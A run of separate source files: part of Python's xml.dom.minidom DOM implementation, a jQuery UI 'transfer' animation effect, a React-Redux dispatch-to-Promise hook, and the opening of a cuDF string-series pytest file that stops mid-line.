self.childNodes = NodeList() self._attrs = {} # attributes are double-indexed: self._attrsNS = {} # tagName -> Attribute # URI,localName -> Attribute # in the future: consider lazy generation # of attribute objects this is too tricky # for now because of headaches with # namespaces. def _get_localName(self): return self.tagName.split(":", 1)[-1] def _get_tagName(self): return self.tagName def unlink(self): for attr in self._attrs.values(): attr.unlink() self._attrs = None self._attrsNS = None Node.unlink(self) def getAttribute(self, attname): try: return self._attrs[attname].value except KeyError: return "" def getAttributeNS(self, namespaceURI, localName): try: return self._attrsNS[(namespaceURI, localName)].value except KeyError: return "" def setAttribute(self, attname, value): attr = self.getAttributeNode(attname) if attr is None: attr = Attr(attname) # for performance d = attr.__dict__ d["value"] = d["nodeValue"] = value d["ownerDocument"] = self.ownerDocument self.setAttributeNode(attr) elif value != attr.value: d = attr.__dict__ d["value"] = d["nodeValue"] = value if attr.isId: _clear_id_cache(self) def setAttributeNS(self, namespaceURI, qualifiedName, value): prefix, localname = _nssplit(qualifiedName) attr = self.getAttributeNodeNS(namespaceURI, localname) if attr is None: # for performance attr = Attr(qualifiedName, namespaceURI, localname, prefix) d = attr.__dict__ d["prefix"] = prefix d["nodeName"] = qualifiedName d["value"] = d["nodeValue"] = value d["ownerDocument"] = self.ownerDocument self.setAttributeNode(attr) else: d = attr.__dict__ if value != attr.value: d["value"] = d["nodeValue"] = value if attr.isId: _clear_id_cache(self) if attr.prefix != prefix: d["prefix"] = prefix d["nodeName"] = qualifiedName def getAttributeNode(self, attrname): return self._attrs.get(attrname) def getAttributeNodeNS(self, namespaceURI, localName): return self._attrsNS.get((namespaceURI, localName)) def setAttributeNode(self, attr): if attr.ownerElement not in (None, self): raise xml.dom.InuseAttributeErr("attribute node already owned") old1 = self._attrs.get(attr.name, None) if old1 is not None: self.removeAttributeNode(old1) old2 = self._attrsNS.get((attr.namespaceURI, attr.localName), None) if old2 is not None and old2 is not old1: self.removeAttributeNode(old2) _set_attribute_node(self, attr) if old1 is not attr: # It might have already been part of this node, in which case # it doesn't represent a change, and should not be returned. return old1 if old2 is not attr: return old2 setAttributeNodeNS = setAttributeNode def removeAttribute(self, name): try: attr = self._attrs[name] except KeyError: raise xml.dom.NotFoundErr() self.removeAttributeNode(attr) def removeAttributeNS(self, namespaceURI, localName): try: attr = self._attrsNS[(namespaceURI, localName)] except KeyError: raise xml.dom.NotFoundErr() self.removeAttributeNode(attr) def removeAttributeNode(self, node): if node is None: raise xml.dom.NotFoundErr() try: self._attrs[node.name] except KeyError: raise xml.dom.NotFoundErr() _clear_id_cache(self) node.unlink() # Restore this since the node is still useful and otherwise # unlinked node.ownerDocument = self.ownerDocument removeAttributeNodeNS = removeAttributeNode def hasAttribute(self, name): return name in self._attrs def hasAttributeNS(self, namespaceURI, localName): return (namespaceURI, localName) in self._attrsNS def getElementsByTagName(self, name): return _get_elements_by_tagName_helper(self, name, NodeList()) def getElementsByTagNameNS(self, namespaceURI, localName): return _get_elements_by_tagName_ns_helper( self, namespaceURI, localName, NodeList()) def __repr__(self): return "<DOM Element: %s at %#x>" % (self.tagName, id(self)) def writexml(self, writer, indent="", addindent="", newl=""): # indent = current indentation # addindent = indentation to add to higher levels # newl = newline string writer.write(indent+"<" + self.tagName) attrs = self._get_attributes() a_names = attrs.keys() a_names.sort() for a_name in a_names: writer.write(" %s=\"" % a_name) _write_data(writer, attrs[a_name].value) writer.write("\"") if self.childNodes: writer.write(">") if (len(self.childNodes) == 1 and self.childNodes[0].nodeType == Node.TEXT_NODE): self.childNodes[0].writexml(writer, '', '', '') else: writer.write(newl) for node in self.childNodes: node.writexml(writer, indent+addindent, addindent, newl) writer.write(indent) writer.write("</%s>%s" % (self.tagName, newl)) else: writer.write("/>%s"%(newl)) def _get_attributes(self): return NamedNodeMap(self._attrs, self._attrsNS, self) def hasAttributes(self): if self._attrs: return True else: return False # DOM Level 3 attributes, based on the 22 Oct 2002 draft def setIdAttribute(self, name): idAttr = self.getAttributeNode(name) self.setIdAttributeNode(idAttr) def setIdAttributeNS(self, namespaceURI, localName): idAttr = self.getAttributeNodeNS(namespaceURI, localName) self.setIdAttributeNode(idAttr) def setIdAttributeNode(self, idAttr): if idAttr is None or not self.isSameNode(idAttr.ownerElement): raise xml.dom.NotFoundErr() if _get_containing_entref(self) is not None: raise xml.dom.NoModificationAllowedErr() if not idAttr._is_id: idAttr.__dict__['_is_id'] = True self._magic_id_nodes += 1 self.ownerDocument._magic_id_count += 1 _clear_id_cache(self) defproperty(Element, "attributes", doc="NamedNodeMap of attributes on the element.") defproperty(Element, "localName", doc="Namespace-local name of this element.") def _set_attribute_node(element, attr): _clear_id_cache(element) element._attrs[attr.name] = attr element._attrsNS[(attr.namespaceURI, attr.localName)] = attr # This creates a circular reference, but Element.unlink() # breaks the cycle since the references to the attribute # dictionaries are tossed. attr.__dict__['ownerElement'] = element class Childless: """Mixin that makes childless-ness easy to implement and avoids the complexity of the Node methods that deal with children. """ attributes = None childNodes = EmptyNodeList() firstChild = None lastChild = None def _get_firstChild(self): return None def _get_lastChild(self): return None def appendChild(self, node): raise xml.dom.HierarchyRequestErr( self.nodeName + " nodes cannot have children") def hasChildNodes(self): return False def insertBefore(self, newChild, refChild): raise xml.dom.HierarchyRequestErr( self.nodeName + " nodes do not have children") def removeChild(self, oldChild): raise xml.dom.NotFoundErr( self.nodeName + " nodes do not have children") def normalize(self): # For childless nodes, normalize() has nothing to do. pass def replaceChild(self, newChild, oldChild): raise xml.dom.HierarchyRequestErr( self.nodeName + " nodes do not have children") class ProcessingInstruction(Childless, Node): nodeType = Node.PROCESSING_INSTRUCTION_NODE def __init__(self, target, data): self.target = self.nodeName = target self.data = self.nodeValue = data def _get_data(self): return self.data def _set_data(self, value): d = self.__dict__ d['data'] = d['nodeValue'] = value def _get_target(self): return self.target def _set_target(self, value): d = self.__dict__ d['target'] = d['nodeName'] = value def __setattr__(self, name, value): if name == "data" or name == "nodeValue": self.__dict__['data'] = self.__dict__['nodeValue'] = value elif name == "target" or name == "nodeName": self.__dict__['target'] = self.__dict__['nodeName'] = value else: self.__dict__[name] = value def writexml(self, writer, indent="", addindent="", newl=""): writer.write("%s<?%s %s?>%s" % (indent,self.target, self.data, newl)) class CharacterData(Childless, Node): def _get_length(self): return len(self.data) __len__ = _get_length def _get_data(self): return self.__dict__['data'] def _set_data(self, data): d = self.__dict__ d['data'] = d['nodeValue'] = data _get_nodeValue = _get_data _set_nodeValue = _set_data def __setattr__(self, name, value): if name == "data" or name == "nodeValue": self.__dict__['data'] = self.__dict__['nodeValue'] = value else: self.__dict__[name] = value def __repr__(self): data = self.data if len(data) > 10: dotdotdot = "..." else: dotdotdot = "" return '<DOM %s node "%r%s">' % ( self.__class__.__name__, data[0:10], dotdotdot) def substringData(self, offset, count): if offset < 0: raise xml.dom.IndexSizeErr("offset cannot be negative") if offset >= len(self.data): raise xml.dom.IndexSizeErr("offset cannot be beyond end of data") if count < 0: raise xml.dom.IndexSizeErr("count cannot be negative") return self.data[offset:offset+count] def appendData(self, arg): self.data = self.data + arg def insertData(self, offset, arg): if offset < 0: raise xml.dom.IndexSizeErr("offset cannot be negative") if offset >= len(self.data): raise xml.dom.IndexSizeErr("offset cannot be beyond end of data") if arg: self.data = "%s%s%s" % ( self.data[:offset], arg, self.data[offset:]) def deleteData(self, offset, count): if offset < 0: raise xml.dom.IndexSizeErr("offset cannot be negative") if offset >= len(self.data): raise xml.dom.IndexSizeErr("offset cannot be beyond end of data") if count < 0: raise xml.dom.IndexSizeErr("count cannot be negative") if count: self.data = self.data[:offset] + self.data[offset+count:] def replaceData(self, offset, count, arg): if offset < 0: raise xml.dom.IndexSizeErr("offset cannot be negative") if offset >= len(self.data): raise xml.dom.IndexSizeErr("offset cannot be beyond end of data") if count < 0: raise xml.dom.IndexSizeErr("count cannot be negative") if count: self.data = "%s%s%s" % ( self.data[:offset], arg, self.data[offset+count:]) defproperty(CharacterData, "length", doc="Length of the string data.") class Text(CharacterData): # Make sure we don't add an instance __dict__ if we don't already # have one, at least when that's possible: # XXX this does not work, CharacterData is an old-style class # __slots__ = () nodeType = Node.TEXT_NODE nodeName = "#text" attributes = None def splitText(self, offset): if offset < 0 or offset > len(self.data): raise xml.dom.IndexSizeErr("illegal offset value") newText = self.__class__() newText.data = self.data[offset:] newText.ownerDocument = self.ownerDocument next = self.nextSibling if self.parentNode and self in self.parentNode.childNodes: if next is None: self.parentNode.appendChild(newText) else: self.parentNode.insertBefore(newText, next) self.data = self.data[:offset] return newText def writexml(self, writer, indent="", addindent="", newl=""): _write_data(writer, "%s%s%s" % (indent, self.data, newl)) # DOM Level 3 (WD 9 April 2002) def _get_wholeText(self): L = [self.data] n = self.previousSibling while n is not None: if n.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): L.insert(0, n.data) n = n.previousSibling else: break n = self.nextSibling while n is not None: if n.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): L.append(n.data) n = n.nextSibling else: break return ''.join(L) def replaceWholeText(self, content): # XXX This needs to be seriously changed if minidom ever # supports EntityReference nodes. parent = self.parentNode n = self.previousSibling while n is not None: if n.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): next = n.previousSibling parent.removeChild(n) n = next else: break n = self.nextSibling if not content: parent.removeChild(self) while n is not None: if n.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): next = n.nextSibling parent.removeChild(n) n = next else: break if content: d = self.__dict__ d['data'] = content d['nodeValue'] = content return self else: return None def _get_isWhitespaceInElementContent(self): if self.data.strip(): return False elem = _get_containing_element(self) if elem is None: return False info = self.ownerDocument._get_elem_info(elem) if info is None: return False else: return info.isElementContent() defproperty(Text, "isWhitespaceInElementContent", doc="True iff this text node contains only whitespace" " and is in element content.") defproperty(Text, "wholeText", doc="The text of all logically-adjacent text nodes.") def _get_containing_element(node): c = node.parentNode while c is not None: if c.nodeType == Node.ELEMENT_NODE: return c c = c.parentNode return None def _get_containing_entref(node): c = node.parentNode while c is not None: if c.nodeType == Node.ENTITY_REFERENCE_NODE: return c c = c.parentNode return None class Comment(Childless, CharacterData): nodeType = Node.COMMENT_NODE nodeName = "#comment" def __init__(self, data): self.data = self.nodeValue = data def writexml(self, writer, indent="", addindent="", newl=""): if "--" in self.data: raise ValueError("'--' is not allowed in a comment node") writer.write("%s<!--%s-->%s" % (indent, self.data, newl)) class CDATASection(Text): # Make sure we don't add an instance __dict__ if we don't already # have one, at least when that's possible: # XXX this does not work, Text is an old-style class # __slots__ = () nodeType = Node.CDATA_SECTION_NODE nodeName = "#cdata-section" def writexml(self, writer, indent="", addindent="", newl=""): if self.data.find("]]>") >= 0: raise ValueError("']]>' not allowed in a CDATA section") writer.write("<![CDATA[%s]]>" % self.data) class ReadOnlySequentialNamedNodeMap(object): __slots__ = '_seq', def __init__(self, seq=()): # seq should be a list or tuple self._seq = seq def __len__(self): return len(self._seq) def _get_length(self): return len(self._seq) def getNamedItem(self, name): for n in self._seq: if n.nodeName == name: return n def getNamedItemNS(self, namespaceURI, localName): for n in self._seq: if n.namespaceURI == namespaceURI and n.localName == localName: return n def __getitem__(self, name_or_tuple): if isinstance(name_or_tuple, tuple): node = self.getNamedItemNS(*name_or_tuple) else: node = self.getNamedItem(name_or_tuple) if node is None: raise KeyError, name_or_tuple return node def item(self, index): if index < 0: return None try: return self._seq[index] except IndexError: return None def removeNamedItem(self, name): raise xml.dom.NoModificationAllowedErr( "NamedNodeMap instance is read-only") def removeNamedItemNS(self, namespaceURI, localName): raise xml.dom.NoModificationAllowedErr( "NamedNodeMap instance is read-only") def setNamedItem(self, node): raise xml.dom.NoModificationAllowedErr( "NamedNodeMap instance is read-only") def setNamedItemNS(self, node): raise xml.dom.NoModificationAllowedErr( "NamedNodeMap instance is read-only") def __getstate__(self): return [self._seq] def __setstate__(self, state): self._seq = state[0] defproperty(ReadOnlySequentialNamedNodeMap, "length", doc="Number of entries in the NamedNodeMap.") class Identified: """Mix-in class that supports the publicId and systemId attributes.""" # XXX this does not work, this is an old-style class # __slots__ = 'publicId', 'systemId' def _identified_mixin_init(self, publicId, systemId): self.publicId = publicId self.systemId = systemId def _get_publicId(self): return self.publicId def _get_systemId(self): return self.systemId class DocumentType(Identified, Childless, Node): nodeType = Node.DOCUMENT_TYPE_NODE nodeValue = None name = None publicId = None systemId = None internalSubset = None def __init__(self, qualifiedName): self.entities = ReadOnlySequentialNamedNodeMap() self.notations = ReadOnlySequentialNamedNodeMap() if qualifiedName: prefix, localname = _nssplit(qualifiedName) self.name = localname self.nodeName = self.name def _get_internalSubset(self): return self.internalSubset def cloneNode(self, deep): if self.ownerDocument is None: # it's ok clone = DocumentType(None) clone.name = self.name clone.nodeName = self.name operation = xml.dom.UserDataHandler.NODE_CLONED if deep: clone.entities._seq = [] clone.notations._seq = [] for n in self.notations._seq: notation = Notation(n.nodeName, n.publicId, n.systemId) clone.notations._seq.append(notation) n._call_user_data_handler(operation, n, notation) for e in self.entities._seq: entity = Entity(e.nodeName, e.publicId, e.systemId, e.notationName) entity.actualEncoding = e.actualEncoding entity.encoding = e.encoding entity.version = e.version clone.entities._seq.append(entity) e._call_user_data_handler(operation, n, entity) self._call_user_data_handler(operation, self, clone) return clone else: return None def writexml(self, writer, indent="", addindent="", newl=""): writer.write("<!DOCTYPE ") writer.write(self.name) if self.publicId: writer.write("%s PUBLIC '%s'%s '%s'" % (newl, self.publicId, newl, self.systemId)) elif self.systemId: writer.write("%s SYSTEM '%s'" % (newl, self.systemId)) if self.internalSubset is not None: writer.write(" [") writer.write(self.internalSubset) writer.write("]") writer.write(">"+newl) class Entity(Identified, Node): attributes = None nodeType = Node.ENTITY_NODE nodeValue = None actualEncoding = None encoding = None version = None def __init__(self, name, publicId, systemId, notation): self.nodeName = name self.notationName = notation self.childNodes = NodeList() self._identified_mixin_init(publicId, systemId) def _get_actualEncoding(self): return self.actualEncoding def _get_encoding(self): return self.encoding def _get_version(self): return self.version def appendChild(self, newChild): raise xml.dom.HierarchyRequestErr( "cannot append children to an entity node") def insertBefore(self, newChild, refChild): raise xml.dom.HierarchyRequestErr( "cannot insert children below an entity node") def removeChild(self, oldChild): raise xml.dom.HierarchyRequestErr( "cannot remove children from an entity node") def replaceChild(self, newChild, oldChild): raise xml.dom.HierarchyRequestErr( "cannot replace children of an entity node") class Notation(Identified, Childless, Node): nodeType = Node.NOTATION_NODE nodeValue = None def __init__(self, name, publicId, systemId): self.nodeName = name self._identified_mixin_init(publicId, systemId) class DOMImplementation(DOMImplementationLS): _features = [("core", "1.0"), ("core", "2.0"), ("core", None), ("xml", "1.0"), ("xml", "2.0"), ("xml", None), ("ls-load", "3.0"), ("ls-load", None), ] def hasFeature(self, feature, version): if version == "": version = None return (feature.lower(), version) in self._features def createDocument(self, namespaceURI, qualifiedName, doctype): if doctype and doctype.parentNode is not None: raise xml.dom.WrongDocumentErr( "doctype object owned by another DOM tree") doc = self._create_document() add_root_element = not (namespaceURI is None and qualifiedName is None and doctype is None) if not qualifiedName and add_root_element: # The spec is unclear what to raise here; SyntaxErr # would be the other obvious candidate. Since Xerces raises # InvalidCharacterErr, and since SyntaxErr is not listed # for createDocument, that seems to be the better choice. # XXX: need to check for illegal characters here and in # createElement. # DOM Level III clears this up when talking about the return value # of this function. If namespaceURI, qName and DocType are # Null the document is returned without a document element # Otherwise if doctype or namespaceURI are not None # Then we go back to the above problem raise xml.dom.InvalidCharacterErr("Element with no name") if add_root_element: prefix, localname = _nssplit(qualifiedName) if prefix == "xml" \ and namespaceURI != "http://www.w3.org/XML/1998/namespace": raise xml.dom.NamespaceErr("illegal use of 'xml' prefix") if prefix and not namespaceURI: raise xml.dom.NamespaceErr( "illegal use of prefix without namespaces") element = doc.createElementNS(namespaceURI, qualifiedName) if doctype: doc.appendChild(doctype) doc.appendChild(element) if doctype: doctype.parentNode = doctype.ownerDocument = doc doc.doctype = doctype doc.implementation = self return doc def createDocumentType(self, qualifiedName, publicId, systemId): doctype = DocumentType(qualifiedName) doctype.publicId = publicId doctype.systemId = systemId return doctype # DOM Level 3 (WD 9 April 2002) def getInterface(self, feature): if self.hasFeature(feature, None): return self else: return None # internal def _create_document(self): return Document() class ElementInfo(object): """Object that represents content-model information for an element. This implementation is not expected to be used in practice; DOM builders should provide implementations which do the right thing using information available to it. """ __slots__ = 'tagName', def __init__(self, name): self.tagName = name def getAttributeType(self, aname): return _no_type def getAttributeTypeNS(self, namespaceURI, localName): return _no_type def isElementContent(self): return False def isEmpty(self): """Returns true iff this element is declared to have an EMPTY content model.""" return False def isId(self, aname): """Returns true iff the named attribute is a DTD-style ID.""" return False def isIdNS(self, namespaceURI, localName): """Returns true iff the identified attribute is a DTD-style ID.""" return False def __getstate__(self): return self.tagName def __setstate__(self, state): self.tagName = state def _clear_id_cache(node): if node.nodeType == Node.DOCUMENT_NODE: node._id_cache.clear() node._id_search_stack = None elif _in_document(node): node.ownerDocument._id_cache.clear() node.ownerDocument._id_search_stack= None class Document(Node, DocumentLS): _child_node_types = (Node.ELEMENT_NODE, Node.PROCESSING_INSTRUCTION_NODE, Node.COMMENT_NODE, Node.DOCUMENT_TYPE_NODE) nodeType = Node.DOCUMENT_NODE nodeName = "#document" nodeValue = None attributes = None doctype = None parentNode = None previousSibling = nextSibling = None implementation = DOMImplementation() # Document attributes from Level 3 (WD 9 April 2002) actualEncoding = None encoding = None standalone = None version = None strictErrorChecking = False errorHandler = None documentURI = None _magic_id_count = 0 def __init__(self): self.childNodes = NodeList() # mapping of (namespaceURI, localName) -> ElementInfo # and tagName -> ElementInfo self._elem_info = {} self._id_cache = {} self._id_search_stack = None def _get_elem_info(self, element): if element.namespaceURI: key = element.namespaceURI, element.localName else: key = element.tagName return self._elem_info.get(key) def _get_actualEncoding(self): return self.actualEncoding def _get_doctype(self): return self.doctype def _get_documentURI(self): return self.documentURI def _get_encoding(self): return self.encoding def _get_errorHandler(self): return self.errorHandler def _get_standalone(self): return self.standalone def _get_strictErrorChecking(self): return self.strictErrorChecking def _get_version(self): return self.version def appendChild(self, node): if node.nodeType not in self._child_node_types: raise xml.dom.HierarchyRequestErr( "%s cannot be child of %s" % (repr(node), repr(self))) if node.parentNode is not None: # This needs to be done before the next test since this # may *be* the document element, in which case it should # end up re-ordered to the end. node.parentNode.removeChild(node) if node.nodeType == Node.ELEMENT_NODE \ and self._get_documentElement(): raise xml.dom.HierarchyRequestErr( "two document elements disallowed") return Node.appendChild(self, node) def removeChild(self, oldChild): try: self.childNodes.remove(oldChild) except ValueError: raise xml.dom.NotFoundErr() oldChild.nextSibling = oldChild.previousSibling = None oldChild.parentNode = None if self.documentElement is oldChild: self.documentElement = None return oldChild def _get_documentElement(self): for node in self.childNodes: if node.nodeType == Node.ELEMENT_NODE: return node def unlink(self): if self.doctype is not None: self.doctype.unlink() self.doctype = None Node.unlink(self) def cloneNode(self, deep): if not deep: return None clone = self.implementation.createDocument(None, None, None) clone.encoding = self.encoding clone.standalone = self.standalone clone.version = self.version for n in self.childNodes: childclone = _clone_node(n, deep, clone) assert childclone.ownerDocument.isSameNode(clone) clone.childNodes.append(childclone) if childclone.nodeType == Node.DOCUMENT_NODE: assert clone.documentElement is None elif childclone.nodeType == Node.DOCUMENT_TYPE_NODE: assert clone.doctype is None clone.doctype = childclone childclone.parentNode = clone self._call_user_data_handler(xml.dom.UserDataHandler.NODE_CLONED, self, clone) return clone def createDocumentFragment(self): d = DocumentFragment() d.ownerDocument = self return d def createElement(self, tagName): e = Element(tagName) e.ownerDocument = self return e def createTextNode(self, data): if not isinstance(data, StringTypes): raise TypeError, "node contents must be a string" t = Text() t.data = data t.ownerDocument = self return t def createCDATASection(self, data): if not isinstance(data, StringTypes): raise TypeError, "node contents must be a string" c = CDATASection() c.data = data c.ownerDocument = self return c def createComment(self, data): c = Comment(data) c.ownerDocument = self return c def createProcessingInstruction(self, target, data): p = ProcessingInstruction(target, data) p.ownerDocument = self return p def createAttribute(self, qName): a = Attr(qName) a.ownerDocument = self a.value = "" return a def createElementNS(self, namespaceURI, qualifiedName): prefix, localName = _nssplit(qualifiedName) e = Element(qualifiedName, namespaceURI, prefix) e.ownerDocument = self return e def createAttributeNS(self, namespaceURI, qualifiedName): prefix, localName = _nssplit(qualifiedName) a = Attr(qualifiedName, namespaceURI, localName, prefix) a.ownerDocument = self a.value = "" return a # A couple of implementation-specific helpers to create node types # not supported by the W3C DOM specs: def _create_entity(self, name, publicId, systemId, notationName): e = Entity(name, publicId, systemId, notationName) e.ownerDocument = self return e def _create_notation(self, name, publicId, systemId): n = Notation(name, publicId, systemId) n.ownerDocument = self return n def getElementById(self, id): if id in self._id_cache: return self._id_cache[id] if not (self._elem_info or self._magic_id_count): return None stack = self._id_search_stack if stack is None: # we never searched before, or the cache has been cleared stack = [self.documentElement] self._id_search_stack = stack elif not stack: # Previous search was completed and cache is still valid; # no matching node. return None result = None while stack: node = stack.pop() # add child elements to stack for continued searching stack.extend([child for child in node.childNodes if child.nodeType in _nodeTypes_with_children]) # check this node info = self._get_elem_info(node) if info: # We have to process all ID attributes before # returning in order to get all the attributes set to # be IDs using Element.setIdAttribute*(). for attr in node.attributes.values(): if attr.namespaceURI: if info.isIdNS(attr.namespaceURI, attr.localName): self._id_cache[attr.value] = node if attr.value == id: result = node elif not node._magic_id_nodes: break elif info.isId(attr.name): self._id_cache[attr.value] = node if attr.value == id: result = node elif not node._magic_id_nodes: break elif attr._is_id: self._id_cache[attr.value] = node if attr.value == id: result = node elif node._magic_id_nodes == 1: break elif node._magic_id_nodes: for attr in node.attributes.values(): if attr._is_id: self._id_cache[attr.value] = node if attr.value == id: result = node if result is not None: break return result def getElementsByTagName(self, name): return _get_elements_by_tagName_helper(self, name, NodeList()) def getElementsByTagNameNS(self, namespaceURI, localName): return _get_elements_by_tagName_ns_helper( self, namespaceURI, localName, NodeList()) def isSupported(self, feature, version): return self.implementation.hasFeature(feature, version) def importNode(self, node, deep): if node.nodeType == Node.DOCUMENT_NODE: raise xml.dom.NotSupportedErr("cannot import document nodes") elif node.nodeType == Node.DOCUMENT_TYPE_NODE: raise xml.dom.NotSupportedErr("cannot import document type nodes") return _clone_node(node, deep, self) def writexml(self, writer, indent="", addindent="", newl="", encoding = None): if encoding is None: writer.write('<?xml version="1.0" ?>'+newl) else: writer.write('<?xml version="1.0" encoding="%s"?>%s' % (encoding, newl)) for node in self.childNodes: node.writexml(writer, indent, addindent, newl) # DOM Level 3 (WD 9 April 2002) def renameNode(self, n, namespaceURI, name): if n.ownerDocument is not self: raise xml.dom.WrongDocumentErr( "cannot rename nodes from other documents;\n" "expected %s,\nfound %s" % (self, n.ownerDocument)) if n.nodeType not in (Node.ELEMENT_NODE, Node.ATTRIBUTE_NODE): raise xml.dom.NotSupportedErr( "renameNode() only applies to element and attribute nodes") if namespaceURI != EMPTY_NAMESPACE: if ':' in name: prefix, localName = name.split(':', 1) if ( prefix == "xmlns" and namespaceURI != xml.dom.XMLNS_NAMESPACE): raise xml.dom.NamespaceErr( "illegal use of 'xmlns' prefix") else: if ( name == "xmlns" and namespaceURI != xml.dom.XMLNS_NAMESPACE and n.nodeType == Node.ATTRIBUTE_NODE): raise xml.dom.NamespaceErr( "illegal use of the 'xmlns' attribute") prefix = None localName = name else: prefix = None localName = None if n.nodeType == Node.ATTRIBUTE_NODE: element = n.ownerElement if element is not None: is_id = n._is_id element.removeAttributeNode(n) else: element = None # avoid __setattr__ d = n.__dict__ d['prefix'] = prefix d['localName'] = localName d['namespaceURI'] = namespaceURI d['nodeName'] = name if n.nodeType == Node.ELEMENT_NODE: d['tagName'] = name else: # attribute node d['name'] = name if element is not None: element.setAttributeNode(n) if is_id: element.setIdAttributeNode(n) # It's not clear from a semantic perspective whether we should # call the user data handlers for the NODE_RENAMED event since # we're re-using the existing node. The draft spec has been # interpreted as meaning "no, don't call the handler unless a # new node is created." return n defproperty(Document, "documentElement", doc="Top-level element of this document.") def _clone_node(node, deep, newOwnerDocument): """ Clone a node and give it the new owner document. Called by Node.cloneNode and Document.importNode """ if node.ownerDocument.isSameNode(newOwnerDocument): operation = xml.dom.UserDataHandler.NODE_CLONED else: operation = xml.dom.UserDataHandler.NODE_IMPORTED if node.nodeType == Node.ELEMENT_NODE: clone = newOwnerDocument.createElementNS(node.namespaceURI, node.nodeName) for attr in node.attributes.values(): clone.setAttributeNS(attr.namespaceURI, attr.nodeName, attr.value) a = clone.getAttributeNodeNS(attr.namespaceURI, attr.localName) a.specified = attr.specified if deep: for child in node.childNodes: c = _clone_node(child, deep, newOwnerDocument) clone.appendChild(c) elif node.nodeType == Node.DOCUMENT_FRAGMENT_NODE: clone = newOwnerDocument.createDocumentFragment() if deep: for child in node.childNodes: c = _clone_node(child, deep, newOwnerDocument) clone.appendChild(c) elif node.nodeType == Node.TEXT_NODE: clone = newOwnerDocument.createTextNode(node.data) elif node.nodeType == Node.CDATA_SECTION_NODE: clone = newOwnerDocument.createCDATASection(node.data) elif node.nodeType == Node.PROCESSING_INSTRUCTION_NODE: clone = newOwnerDocument.createProcessingInstruction(node.target, node.data) elif node.nodeType == Node.COMMENT_NODE: clone = newOwnerDocument.createComment(node.data) elif node.nodeType == Node.ATTRIBUTE_NODE: clone = newOwnerDocument.createAttributeNS(node.namespaceURI, node.nodeName) clone.specified = True clone.value = node.value elif node.nodeType == Node.DOCUMENT_TYPE_NODE: assert node.ownerDocument is not newOwnerDocument operation = xml.dom.UserDataHandler.NODE_IMPORTED clone = newOwnerDocument.implementation.createDocumentType( node.name, node.publicId, node.systemId) clone.ownerDocument = newOwnerDocument if deep: clone.entities._seq = [] clone.notations._seq = [] for n in node.notations._seq: notation = Notation(n.nodeName, n.publicId, n.systemId) notation.ownerDocument = newOwnerDocument clone.notations._seq.append(notation) if hasattr(n, '_call_user_data_handler'): n._call_user_data_handler(operation, n, notation) for e in node.entities._seq: entity = Entity(e.nodeName, e.publicId, e.systemId, e.notationName) entity.actualEncoding = e.actualEncoding entity.encoding = e.encoding entity.version = e.version entity.ownerDocument = newOwnerDocument clone.entities._seq.append(entity) if hasattr(e, '_call_user_data_handler'): e._call_user_data_handler(operation, n, entity) else: # Note the cloning of Document and DocumentType nodes is # implementation specific. minidom handles those cases # directly in the cloneNode() methods. raise xml.dom.NotSupportedErr("Cannot clone node %s" % repr(node)) # Check for _call_user_data_handler() since this could conceivably # used with other DOM implementations (one of the FourThought # DOMs, perhaps?). if hasattr(node, '_call_user_data_handler'): node._call_user_data_handler(operation, node, clone) return clone def _nssplit(qualifiedName): fields = qualifiedName.split(':', 1) if len(fields) == 2: return fields else: return (None, fields[0]) def _get_StringIO(): # we can't use cStringIO since it doesn't support Unicode strings from StringIO import StringIO return StringIO() def _do_pulldom_parse(func, args, kwargs): events = func(*args, **kwargs) toktype, rootNode = events.getEvent() events.expandNode(rootNode) events.clear() return rootNode def parse(file, parser=None, bufsize=None): """Parse a file into a DOM by filename or file object.""" if parser is None and not bufsize: from xml.dom import expatbuilder return expatbuilder.parse(file) else: from xml.dom import pulldom return _do_pulldom_parse(pulldom.parse, (file,), {'parser': parser, 'bufsize': bufsize}) def parseString(string, parser=None): """Parse a file into a DOM from a string.""" if parser is None: from xml.dom import expatbuilder return expatbuilder.parseString(string) else: from xml.dom import pulldom return _do_pulldom_parse(pulldom.parseString, (string,), {'parser': parser}) def getDOMImplementation(features=None): if features: if isinstance(features, StringTypes): features = domreg._parse_feature_string(features) for f, v in features: if not Document.implementation.hasFeature(f, v): return None return Document.implementation
/* * jQuery UI Effects Transfer 1.8.5 * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Effects/Transfer * * Depends: * jquery.effects.core.js */ (function( $, undefined ) { $.effects.transfer = function(o) { return this.queue(function() { var elem = $(this), target = $(o.options.to), endPosition = target.offset(), animation = { top: endPosition.top, left: endPosition.left, height: target.innerHeight(), width: target.innerWidth() }, startPosition = elem.offset(), transfer = $('<div class="ui-effects-transfer"></div>') .appendTo(document.body) .addClass(o.options.className) .css({ top: startPosition.top, left: startPosition.left, height: elem.innerHeight(), width: elem.innerWidth(), position: 'absolute' }) .animate(animation, o.duration, o.options.easing, function() { transfer.remove(); (o.callback && o.callback.apply(elem[0], arguments)); elem.dequeue(); }); }); }; })(jQuery);
import { useCallback } from 'react'; import { useDispatch } from 'react-redux'; export default () => { const dispatch = useDispatch(); const get = useCallback( (...params) => { const promise = (resolve, reject) => { try { return resolve(dispatch(...params)); } catch (error) { return reject(error); } }; return new Promise(promise); }, [dispatch] ); return get; };
# Copyright (c) 2018, NVIDIA CORPORATION. from contextlib import ExitStack as does_not_raise import numpy as np import pandas as pd import pyarrow as pa import pytest from numba import cuda from librmm_cffi import librmm as rmm from cudf import concat from cudf.dataframe import DataFrame, Series from cudf.dataframe.index import StringColumn, StringIndex from cudf.tests.utils import assert_eq data_list = [ ["AbC", "de", "FGHI", "j", "kLm"], ["nOPq", None, "RsT", None, "uVw"], [None, None, None, None, None], ] data_id_list = ["no_nulls", "some_nulls", "all_nulls"] idx_list = [None, [10, 11, 12, 13, 14]] idx_id_list = ["None_index", "Set_index"] def raise_builder(flags, exceptions): if any(flags): return pytest.raises(exceptions) else: return does_not_raise() @pytest.fixture(params=data_list, ids=data_id_list) def data(request): return request.param @pytest.fixture(params=idx_list, ids=idx_id_list) def index(request): return request.param @pytest.fixture def ps_gs(data, index): ps = pd.Series(data, index=index, dtype="str", name="nice name") gs = Series(data, index=index, dtype="str", name="nice name") return (ps, gs) @pytest.mark.parametrize("construct", [list, np.array, pd.Series, pa.array]) def test_string_ingest(construct): expect = ["a", "a", "b", "c", "a"] data = construct(expect) got 